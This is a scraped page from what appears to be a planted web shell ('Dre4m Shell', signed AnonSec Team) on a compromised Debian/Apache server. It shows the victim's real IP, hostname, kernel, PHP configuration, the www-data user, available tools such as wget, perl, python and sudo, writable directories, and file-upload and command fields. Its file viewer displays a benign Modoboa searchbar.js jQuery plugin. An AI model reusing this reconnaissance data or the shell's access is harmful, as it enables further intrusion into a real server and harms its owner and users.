Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 18.118.1.100
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /srv/modoboa/env/lib/python3.5/site-packages/modoboa/static/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /srv/modoboa/env/lib/python3.5/site-packages/modoboa/static/js/searchbar.js
(function($) {

    /**
     * Return an instance of SearchBar.
     *
     * @constructor
     * @param {Object} element - 
     * @param {Object} options - instance options
     */
    var SearchBar = function(element, options) {
        this.initialize(element, options);
    };

    SearchBar.prototype = {
        constructor: SearchBar,

        initialize: function(element, options) {
            this.$element = $(element);
            this.options = $.extend({}, $.fn.searchbar.defaults, options);

            this.$element.change($.proxy(this.pattern_change, this));
            this.$element.click(function(e) {
                $(this).select();
            });
            this.$element.blur(function(e) {
                var $this = $(this);
                if ($this.val() === "") {
                    $this.val(gettext("Search..."));
                }
            });
            if (this.options.navobj.params.pattern !== undefined) {
                this.$element.val(this.options.navobj.getparam("pattern"));
            }
            if (this.options.navobj.params.criteria !== undefined) {
                $("#crit_" + this.options.navobj.params.criteria).attr("checked", "checked");
            }
        },

        /**
         * Change event: apply search criterion.
         *
         * @this SearchBar
         * @param {Object} e - event object
         */
        pattern_change: function(e) {
            var $input = $(e.target);
            var criteria = $("input[name=scriteria]:checked").val();
            var pattern = $input.val();

            if (pattern !== "") {
                this.options.navobj.setparams({
                    pattern: pattern,
                    criteria: criteria
                });
            } else {
                this.options.navobj.delparam("pattern");
                this.options.navobj.delparam("criteria");
                this.options.navobj.delparam("page");
            }
            if (this.options.pattern_changed) {
                this.options.pattern_changed(this.options.navobj);
            }
            this.options.navobj.update();
        }
    };

    $.fn.searchbar = function(method) {
        return this.each(function() {
            var $this = $(this),
                data = $this.data('searchbar'),
                options = typeof method === "object" && method;

            if (!data) {
                $this.data('searchbar', new SearchBar(this, options));
            }
            if (typeof method === "string") {
                data[method]();
            }
        });
    };

    $.fn.searchbar.defaults = {
        navobj: null,
        pattern_changed: null
    };
})(jQuery);

Anon7 - 2022
AnonSec Team